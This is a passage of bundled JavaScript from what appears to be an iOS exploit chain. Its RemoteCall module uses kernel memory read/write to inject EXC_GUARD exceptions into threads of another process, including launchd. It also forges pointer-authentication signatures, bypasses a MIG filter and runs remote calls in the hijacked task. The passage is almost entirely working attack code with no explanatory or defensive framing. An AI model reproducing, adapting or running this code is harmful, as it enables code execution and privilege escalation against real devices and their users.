static #dumpEntry(entryAddr) {
console.log(TAG, "dump entry: " + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(entryAddr));
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].read(entryAddr, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 24);
let buff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 24);
let buff64 = new BigUint64Array(buff);
for (let i=0; i<3; i++)
console.log(TAG, `${i}: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(buff64[i]).padStart(16, '0')}`);
}
}
/***/ }),
/***/ "./src/libs/TaskRop/RegistersStruct.js":
/*!*********************************************!*\
!*** ./src/libs/TaskRop/RegistersStruct.js ***!
\*********************************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (/* binding */ RegistersStruct)
/* harmony export */ });
const TAG = "REGISTERSSTRUCT"
class RegistersStruct
{
#dataView;
constructor(buffer, offset = 0, length = 29) {
this.#dataView = new DataView(buffer,offset, length * 8);
this.length = length;
}
get(index) {
if (index >= this.length || index < 0) {
console.log(TAG,`Got wrong index in get:${index}`);
return;
}
return this.#dataView.getBigUint64(index * 8, true); // true for little-endian
}
set(index, value) {
if (index >= this.length || index < 0) {
console.log(TAG,`Got wrong index in set`);
return;
}
this.#dataView.setBigUint64(index * 8, BigInt(value), true); // true for little-endian
}
}
/***/ }),
/***/ "./src/libs/TaskRop/RemoteCall.js":
/*!****************************************!*\
!*** ./src/libs/TaskRop/RemoteCall.js ***!
\****************************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (/* binding */ RemoteCall)
/* harmony export */ });
/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js");
/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js");
/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js");
/* harmony import */ var _Task__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./Task */ "./src/libs/TaskRop/Task.js");
/* harmony import */ var _Thread__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./Thread */ "./src/libs/TaskRop/Thread.js");
/* harmony import */ var _Exception__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./Exception */ "./src/libs/TaskRop/Exception.js");
/* harmony import */ var _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./ExceptionMessageStruct */ "./src/libs/TaskRop/ExceptionMessageStruct.js");
/* harmony import */ var _ThreadState__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! ./ThreadState */ "./src/libs/TaskRop/ThreadState.js");
/* harmony import */ var _PAC__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! ./PAC */ "./src/libs/TaskRop/PAC.js");
/* harmony import */ var _VM__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! ./VM */ "./src/libs/TaskRop/VM.js");
/* harmony import */ var _VMShmem__WEBPACK_IMPORTED_MODULE_10__ = __webpack_require__(/*! ./VMShmem */ "./src/libs/TaskRop/VMShmem.js");
/* harmony import */ var _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_11__ = __webpack_require__(/*! ./MachMsgHeaderStruct */ "./src/libs/TaskRop/MachMsgHeaderStruct.js");
/* harmony import */ var _PortRightInserter__WEBPACK_IMPORTED_MODULE_12__ = __webpack_require__(/*! ./PortRightInserter */ "./src/libs/TaskRop/PortRightInserter.js");
//import ExceptionThreadJS17 from '!raw-loader!./ExceptionThread17.js'
//import ExceptionThreadJS18 from '!raw-loader!./ExceptionThread18.js'
//import Offsets from "Driver/Offsets";
const TAG = "REMOTECALL"
const GUARD_TYPE_MACH_PORT = 0x1n;
const kGUARD_EXC_INVALID_RIGHT = BigInt(1 << 8);
const SWITCH_OPTION_NONE = 0n;
const fakePCTrojanCreator = 0x101n;
const fakeLRTrojanCreator = 0x201n;
const fakePCTrojan = 0x301n;
const fakeLRTrojan = 0x401n;
const __DARWIN_ARM_THREAD_STATE64_USER_DIVERSIFIER_MASK = 0xff000000n;
const __DARWIN_ARM_THREAD_STATE64_FLAGS_IB_SIGNED_LR = 0x2;
const __DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_PC = 0x4;
const __DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_LR = 0x8;
const SHMEM_CACHE_SIZE = 100;
const MAP_PRIVATE = 0x0002n;
const MAP_ANON = 0x1000n;
class RemoteCall
{
#taskAddr;
#creatingExtraThread;
#firstExceptionPort;
#secondExceptionPort;
#firstExceptionPortAddr;
#secondExceptionPortAddr;
#dummyThread;
#dummyThreadMach;
#dummyThreadAddr;
#dummyThreadTro;
#selfThreadAddr;
#selfThreadCtid;
#trojanThreadAddr;
#callThreadAddr;
#originalState;
#vmMap;
#trojanMem;
#localPort;
#remotePort;
#shmemCache = new Array(SHMEM_CACHE_SIZE);
//#exceptionThreadCFString;
#success = false;
#threadList = [];
#krwControlFd;
#krwRwFd;
#pid;
constructor(param, migFilterBypass=null)
{
const peMark = (code, detail) => {
try {
if (typeof globalThis !== "undefined" && typeof globalThis.__pe_mark === "function")
globalThis.__pe_mark(code, detail);
} catch (_) {}
};
// launchd (pid 1 / name): prefer fewer EXC_GUARD targets — dual inject races KRW+mig and panics this DUT.
let isLaunchd = (typeof param === "string" && param === "launchd") ||
param === 1 || param === 1n || Number(param) === 1;
let needInject = isLaunchd ? 1 : 2;
if(typeof(param) == "string")
{
console.log(TAG,`Getting task by name: ${param}`);
this.#taskAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getTaskAddrByName(param);
}
else
{
console.log(TAG,`Getting task by pid: ${param}`);
this.#taskAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getTaskAddrByPID(param);
this.#pid = param;
}
if(!this.#taskAddr)
{
console.log(TAG,`Cannot get taskAddr, returning`);
try { globalThis.__peRemoteFail = 0x491; } catch (_) {}
return null;
}
peMark(0x34n);
let firstExceptionPort = _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].createPort();
let secondExceptionPort = _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].createPort();
if (!firstExceptionPort || !secondExceptionPort)
{
console.log(TAG,`Couldn't create exception ports`);
try { globalThis.__peRemoteFail = 0x492; } catch (_) {}
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_port_destruct", 0x203n, firstExceptionPort, 0n, 0n);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_port_destruct", 0x203n, secondExceptionPort, 0n, 0n);
return null;
}
// Make sure the task won't crash after we handle an exception
_Task__WEBPACK_IMPORTED_MODULE_3__["default"].disableExcGuardKill(this.#taskAddr);
peMark(0x35n);
let guardCode = 0n;
guardCode = this.#EXC_GUARD_ENCODE_TYPE(guardCode, GUARD_TYPE_MACH_PORT);
guardCode = this.#EXC_GUARD_ENCODE_FLAVOR(guardCode, kGUARD_EXC_INVALID_RIGHT);
guardCode = this.#EXC_GUARD_ENCODE_TARGET(guardCode, 0xf503n);
let firstPortAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortAddr(firstExceptionPort);
let secondPortAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortAddr(secondExceptionPort);
let dummyThread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
let dummyFunc = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym("getpid");
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_create_suspended_np",dummyThread, null, dummyFunc, null);
dummyThread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read64(dummyThread);
let dummyThreadMach = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_mach_thread_np",dummyThread));
let dummyThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(dummyThreadMach);
let dummyThreadTro = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getTro(dummyThreadAddr);
let threadSelf = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_thread_self"));
let selfThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(threadSelf);
let selfThreadCtid = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getCtid(selfThreadAddr);
this.#creatingExtraThread = true;
this.#firstExceptionPort = firstExceptionPort;
this.#secondExceptionPort = secondExceptionPort;
this.#firstExceptionPortAddr = firstPortAddr;
this.#secondExceptionPortAddr = secondPortAddr;
this.#dummyThread = dummyThread;
this.#dummyThreadMach = dummyThreadMach;
this.#dummyThreadAddr = dummyThreadAddr;
this.#dummyThreadTro = dummyThreadTro;
this.#selfThreadAddr = selfThreadAddr;
this.#selfThreadCtid = selfThreadCtid;
let retryCount = 0;
let validThreadCount = 0;
let successThreadCount = 0;
let firstThread = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].firstThread(this.#taskAddr);
let currThread = firstThread;
this.#trojanThreadAddr = firstThread;
peMark(0x36n);
if (migFilterBypass)
migFilterBypass.resume();
let excBuffer = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
let gotFirstExc = false;
// launchd: inject thread0 only. Dual-inject + re-arm AST reboots PID1 on sensitive DUTs.
while ( true && successThreadCount < needInject && validThreadCount < 5 && retryCount < 3)
{
let task = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getTask(currThread);
if (!task)
{
if (!validThreadCount)
{
console.log(TAG, `failed on getting first thread at all, resetting first thread and currThread`);
firstThread = currThread = this.#retryFirstThread(migFilterBypass);
retryCount++;
continue;
}
else
break;
}
if (task == this.#taskAddr)
{
if (!this.#setExceptionPortOnThread(this.#firstExceptionPort, currThread, migFilterBypass))
{
console.log(TAG, `Set exception port on thread:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(currThread)} failed, not injecting`);
if (!validThreadCount)
{
console.log(TAG, `failed on first thread, resetting first thread and currThread`);
firstThread = currThread = this.#retryFirstThread(migFilterBypass);
retryCount++;
continue;
}
}
else
{
// Pause mig during raw KRW AST write — concurrent socket KRW with mig thread panics.
if (migFilterBypass)
migFilterBypass.pause();
let injOk = false;
try {
injOk = !!_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].injectGuardException(currThread, guardCode);
} finally {
if (migFilterBypass)
migFilterBypass.resume();
}
if (!injOk)
{
console.log(TAG,`Inject EXC_GUARD on thread:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(currThread)} failed, not injecting`);
if (!validThreadCount)
{
console.log(TAG, `failed on first thread, resetting first thread and currThread`);
firstThread = currThread = this.#retryFirstThread(migFilterBypass);
retryCount++;
continue;
}
}
else
{
successThreadCount++;
this.#threadList.push(currThread);
console.log(TAG, `Inject EXC_GUARD on thread:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(currThread)} OK`);
}
}
validThreadCount++;
}
else if (task && !validThreadCount)
{
console.log(TAG,`Got weird tro on first thread, resetting first thread and currThread`);
firstThread = currThread = this.#retryFirstThread(migFilterBypass);
retryCount++;
continue;
}
let next = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].next(currThread);
if (!next)
{
if (!validThreadCount) {
console.log(TAG, `Got empty next thread on first thread. Retry`);
firstThread = currThread = this.#retryFirstThread(migFilterBypass);
retryCount++;
continue;
}
else {
console.log(TAG, "Break because of empty next thread");
break;
}
}
currThread = next;
}
if (migFilterBypass)
migFilterBypass.pause();
console.log(TAG, `Valid threads: ${validThreadCount}`);
console.log(TAG, `Injected threads: ${successThreadCount}`);
if (!this.#threadList.length) {
console.log(TAG, "Exception injection failed. Aborting.");
try { globalThis.__peRemoteFail = 0x493; } catch (_) {}
this.destroy();
return null;
}
// Yield once so PID1 can run; do NOT re-arm AST on launchd (re-inject reboots).
try {
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep", 150000);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("thread_switch", 0, 0, 0);
} catch (_) {}
if (isLaunchd) {
const LAUNCHD_SLICE_MS = 3000;
const LAUNCHD_SLICES = 20;
console.log(TAG, `launchd: wait first EXC on thread0 (${LAUNCHD_SLICES}x${LAUNCHD_SLICE_MS}ms, no re-inject)`);
for (let waitTry = 0; waitTry < LAUNCHD_SLICES; waitTry++) {
try { peMark(0x37n, BigInt(waitTry + 1)); } catch (_) {}
if (_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#firstExceptionPort, excBuffer, LAUNCHD_SLICE_MS, false)) {
gotFirstExc = true;
console.log(TAG, `launchd EXC hit slice ${waitTry + 1}`);
break;
}
try { libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("thread_switch", 0, 0, 0); } catch (_) {}
}
} else {
peMark(0x37n);
gotFirstExc = !!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#firstExceptionPort,excBuffer,120000,false);
}
if (!gotFirstExc)
{
console.log(TAG, `Failed to receive first exception`);
try { globalThis.__peRemoteFail = 0x494; } catch (_) {}
try {
for (let i = 0; i < this.#threadList.length; i++)
_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].clearGuardException(this.#threadList[i]);
} catch (_) {}
this.destroy();
return null;
}
peMark(0x38n);
let excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize));
let exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes);
let originalStateBuff = new ArrayBuffer(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ARM_THREAD_STATE64_SIZE);
this.#originalState = new _ThreadState__WEBPACK_IMPORTED_MODULE_7__["default"](originalStateBuff);
for(let i = 0; i < 29; i++)
{
this.#originalState.registers.set(i,exc.threadState.registers.get(i));
}
this.#originalState.opaque_fp = exc.threadState.opaque_fp;
this.#originalState.opaque_lr = exc.threadState.opaque_lr;
this.#originalState.opaque_sp = exc.threadState.opaque_sp;
this.#originalState.opaque_pc = exc.threadState.opaque_pc;
this.#originalState.cspr = exc.threadState.cspr;
this.#originalState.opaque_flags = exc.threadState.opaque_flags;
for(let i = 0; i < this.#threadList.length;i++)
{
_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].clearGuardException(this.#threadList[i]);
}
console.log(TAG,`Finish clearing EXC_GUARD from all other threads...`);
peMark(0x39n);
// Launchd: never flush/reply stray exceptions — resumes unrelated PID1 threads and reboots.
if (!isLaunchd) {
let desiredTimeout = 1500;
while (true)
{
let flushBuf = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#firstExceptionPort, flushBuf, desiredTimeout, false))
break;
let flushed = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(flushBuf,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize)));
_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(flushed, flushed.threadState,false);
}
}
peMark(0x3An);
if (this.#threadList.length)
firstThread = this.#trojanThreadAddr = this.#threadList[0];
try {
_Task__WEBPACK_IMPORTED_MODULE_3__["default"].disableExcGuardKill(this.#taskAddr);
} catch (_) {}
let newState = exc.threadState;
newState = this.#signState(firstThread, newState, fakePCTrojanCreator, fakeLRTrojanCreator);
_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, newState, false);
peMark(0x3Bn);
let trojanMemTemp = (exc.threadState.opaque_sp & 0x7fffffffffn) - 0x100n;
this.#vmMap = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getMap(this.#taskAddr);
// launchd: skip second-thread promote. setExceptionPort TRO-swap + thread_resume on PID1 reboots.
if (isLaunchd) {
this.#creatingExtraThread = false;
peMark(0x3Cn, 0x1n);
console.log(TAG, `launchd: skip extra trojan thread — stay on temp RemoteCall`);
this.#pid = this.#doRemoteCallTemp(100, "getpid");
console.log(TAG, `Task pid: ${this.#pid}`);
peMark(0x3Dn, BigInt(this.#pid || 0));
if (Number(this.#pid) !== 1) {
console.log(TAG, `launchd temp getpid unexpected: ${this.#pid}`);
try { globalThis.__peRemoteFail = 0x495; } catch (_) {}
this.destroy();
return null;
}
peMark(0x3En, 0x1n);
this.#trojanMem = this.#doRemoteCallTemp(1000, "mmap", 0n, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_SIZE, _VM__WEBPACK_IMPORTED_MODULE_9__["default"].VM_PROT_READ | _VM__WEBPACK_IMPORTED_MODULE_9__["default"].VM_PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1n);
peMark(0x3En, 0x2n);
if (!this.#trojanMem || this.#trojanMem === 0n || this.#trojanMem === -1n || this.#trojanMem === 0xffffffffffffffffn) {
console.log(TAG, `launchd temp mmap failed: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(this.#trojanMem)}`);
try { globalThis.__peRemoteFail = 0x496; } catch (_) {}
this.destroy();
return null;
}
this.#doRemoteCallTemp(100, "memset", this.#trojanMem, 0n, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_SIZE);
peMark(0x3En, 0x3n);
this.#success = true;
console.log(TAG, `Finished for now succesfully (launchd temp path)`);
return;
}
let remoteCrashSigned = _PAC__WEBPACK_IMPORTED_MODULE_8__["default"].remotePAC(this.#trojanThreadAddr, fakePCTrojan, 0n);
let ret = this.#doRemoteCallTemp(100, "pthread_create_suspended_np", trojanMemTemp, 0n, remoteCrashSigned);
let pthreadAddr = this.read64(BigInt(trojanMemTemp));
let callThreadPort = this.#doRemoteCallTemp(100, "pthread_mach_thread_np", pthreadAddr);
if (callThreadPort == 0n)
{
console.log(TAG,`Cannot find callThreadPort`);
this.destroy();
return null;
}
this.#callThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObjectOfTask(this.#taskAddr, BigInt(callThreadPort));
if (migFilterBypass)
migFilterBypass.resume();
if (!this.#setExceptionPortOnThread(this.#secondExceptionPort, this.#callThreadAddr, migFilterBypass))
{
console.log(TAG,`Failed to set new exception port on newly created thread, trying one more time before giving up, creating new thread`);
dummyThread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_create_suspended_np",dummyThread, null, dummyFunc, null);
dummyThread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read64(dummyThread);
this.#dummyThreadMach = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_mach_thread_np",dummyThread));
this.#dummyThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(this.#dummyThreadMach);
this.#dummyThreadTro = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getTro(this.#dummyThreadAddr);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("sleep",1n);
if (!this.#setExceptionPortOnThread(this.#secondExceptionPort, this.#callThreadAddr, migFilterBypass))
{
if (migFilterBypass)
migFilterBypass.pause();
this.destroy();
return null;
}
}
if (migFilterBypass)
migFilterBypass.pause();
console.log(TAG,`All good so far! Now we resume trojan thread...`);
ret = this.#doRemoteCallTemp(100, "thread_resume", callThreadPort);
if (ret !== 0n)
{
console.log(TAG,`Couldn't resume newly created thread, falling back to use original one only`);
this.#creatingExtraThread = false;
}
if (this.#creatingExtraThread)
{
console.log(TAG,`New thread created succesfully, resuming original`);
this.#restoreTrojanThread(this.#originalState);
}
console.log(TAG, `Original thread restored succesfully`);
this.#pid = this.#doRemoteCallStable(100, "getpid");
console.log(TAG, `Task pid: ${this.#pid}`);
this.#trojanMem = this.#doRemoteCallStable(1000,"mmap", 0n, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_SIZE, _VM__WEBPACK_IMPORTED_MODULE_9__["default"].VM_PROT_READ | _VM__WEBPACK_IMPORTED_MODULE_9__["default"].VM_PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1n);
this.#doRemoteCallStable(100,"memset",this.#trojanMem, 0n, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_SIZE);
this.#success = true;
console.log(TAG,`Finished for now succesfully`);
}
success() {
return this.#success;
}
krwCtx() {
return {
controlFd: this.#krwControlFd,
rwFd: this.#krwRwFd
};
}
pid() {
return this.#pid;
}
#testRWPrim()
{
console.log(TAG,`Testing RW prim`);
let arr = new ArrayBuffer(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE);
let arrView = new DataView(arr);
arrView.setBigUint64(0,0x41414141n,true);
let memBuff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write(memBuff,arr);
this.write(BigInt(this.#trojanMem),memBuff,BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE));
memBuff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem + 0x100n;
this.read(BigInt(this.#trojanMem),memBuff,BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE));
let resBuff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(memBuff,libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE);
let resView = new DataView(resBuff);
let result = resView.getBigUint64(0,true);
console.log(TAG,`Got result from Buffer of:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(result)}`);
}
#retryFirstThread(migFilterBypass) {
if (migFilterBypass)
migFilterBypass.pause();
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("sleep", 1n);
if (migFilterBypass)
migFilterBypass.resume();
return _Task__WEBPACK_IMPORTED_MODULE_3__["default"].firstThread(this.#taskAddr);
}
#signState(SigningThread,state,pc,lr)
{
//console.log(TAG,`state.opaque_flags:${Utils.hex(state.opaque_flags)}`);
let diver = BigInt(state.opaque_flags) & __DARWIN_ARM_THREAD_STATE64_USER_DIVERSIFIER_MASK;
//console.log(TAG,`diver after:${Utils.hex(diver)}`);
let discPC = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_blend_discriminator(BigInt(diver), libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_string_discriminator_special("pc"));
let discLR = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_blend_discriminator(BigInt(diver), libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_string_discriminator_special("lr"));
//console.log(TAG,`discPC:${Utils.hex(discPC)}`);
//console.log(TAG,`discLR:${Utils.hex(discLR)}`);
/* C wrapper for ptrauth utils
discPC = Native.callSymbol("wrapper_ptrauth_blend_discriminator",BigInt(diver),Utils.ptrauth_string_discriminator("pc"));
discLR = Native.callSymbol("wrapper_ptrauth_blend_discriminator",BigInt(diver), Utils.ptrauth_string_discriminator("lr"));
console.log(TAG,`discPC after:${Utils.hex(discPC)}`);
console.log(TAG,`discLR after:${Utils.hex(discLR)}`);
*/
if (pc)
{
state.opaque_flags &= ~(__DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_PC);
state.opaque_pc = _PAC__WEBPACK_IMPORTED_MODULE_8__["default"].remotePAC(SigningThread, pc, discPC);
}
if (lr)
{
state.opaque_flags &= ~(
__DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_LR |
__DARWIN_ARM_THREAD_STATE64_FLAGS_IB_SIGNED_LR);
state.opaque_lr = _PAC__WEBPACK_IMPORTED_MODULE_8__["default"].remotePAC(SigningThread, lr, discLR);
}
return state;
}
#setExceptionPortOnThread(exceptionPort, currThread, migFilterBypass=null)
{
let success = false;
let thread_set_exception_ports_addr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym("thread_set_exception_ports");
let pthread_exit_addr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym("pthread_exit");
//console.log(TAG, "pc: " + Utils.hex(thread_set_exception_ports_addr));
//console.log(TAG, "pc signed: " + Utils.hex(Native.pacia(thread_set_exception_ports_addr, Utils.ptrauth_string_discriminator("pc"))));
//console.log(TAG, "pc signed 0: " + Utils.hex(Native.pacia(thread_set_exception_ports_addr, 0)));
//let stackMem = Native.callSymbol("malloc", 0x8000);
//let thread_set_exception_ports_addr = Native.dlsym("_exit");
//let stateBuff = new ArrayBuffer(Utils.ARM_THREAD_STATE64_SIZE);
//let state = new ThreadState(stateBuff);
//let kr = Native.callSymbol("thread_create_running", 0x203, Utils.ARM_THREAD_STATE64, statePtr, Utils.ARM_THREAD_STATE64_COUNT, machThreadPtr);
let pthreadPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_create_suspended_np", pthreadPtr, 0, thread_set_exception_ports_addr, 0);
let pthread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read64(pthreadPtr);
//console.log(TAG, "pthread: " + Utils.hex(pthread));
let machThread = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_mach_thread_np", pthread));
let machThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(machThread);
//console.log(TAG, `machThread:${Utils.hex(machThread)} machThreadAddr:${Utils.hex(machThreadAddr)}`);
if (migFilterBypass)
migFilterBypass.monitorThreads(this.#selfThreadAddr, machThreadAddr);
let state = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getState(machThread);
if (!state) {
console.log(TAG, "Unable to read thread state");
return false;
}
//console.log(TAG, "thread_get_state OK");
state.opaque_pc = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].pacia(thread_set_exception_ports_addr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_string_discriminator("pc"));
state.opaque_lr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].pacia(pthread_exit_addr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_string_discriminator("lr"));
//state.opaque_sp = stackMem + 0x4000n;
state.registers.set(0, this.#dummyThreadMach);
state.registers.set(1, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].EXC_MASK_GUARD | libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].EXC_MASK_BAD_ACCESS);
state.registers.set(2, exceptionPort);
state.registers.set(3, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].EXCEPTION_STATE | libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].MACH_EXCEPTION_CODES);
state.registers.set(4, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ARM_THREAD_STATE64);
//console.log(TAG, "pc: " + Utils.hex(state.opaque_pc));
//console.log(TAG, "lr: " + Utils.hex(state.opaque_lr));
//console.log(TAG, "sp: " + Utils.hex(state.opaque_sp));
//console.log(TAG, "x0: " + Utils.hex(state.registers.get(0)));
//console.log(TAG, "x1: " + Utils.hex(state.registers.get(1)));
//console.log(TAG, "x2: " + Utils.hex(state.registers.get(2)));
//console.log(TAG, "x3: " + Utils.hex(state.registers.get(3)));
//console.log(TAG, "x4: " + Utils.hex(state.registers.get(4)));
if (migFilterBypass)
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep", 100000);
if (!_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].setState(machThread, machThreadAddr, state))
return false;
//console.log(TAG, "Thread.setState() OK");
if (migFilterBypass)
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep", 100000);
_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].setMutex(this.#dummyThreadAddr, this.#selfThreadCtid);
if (!_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].resume(machThread))
return false;
//console.log(TAG, "Thread resume OK");
/*
let threadmem = Native.callSymbol("malloc",0x400);
Native.write64(threadmem + 0x100n, this.#dummyThreadMach);
Native.write64(threadmem + 0x108n, exceptionPort);
Native.callSymbol("usleep",100n);
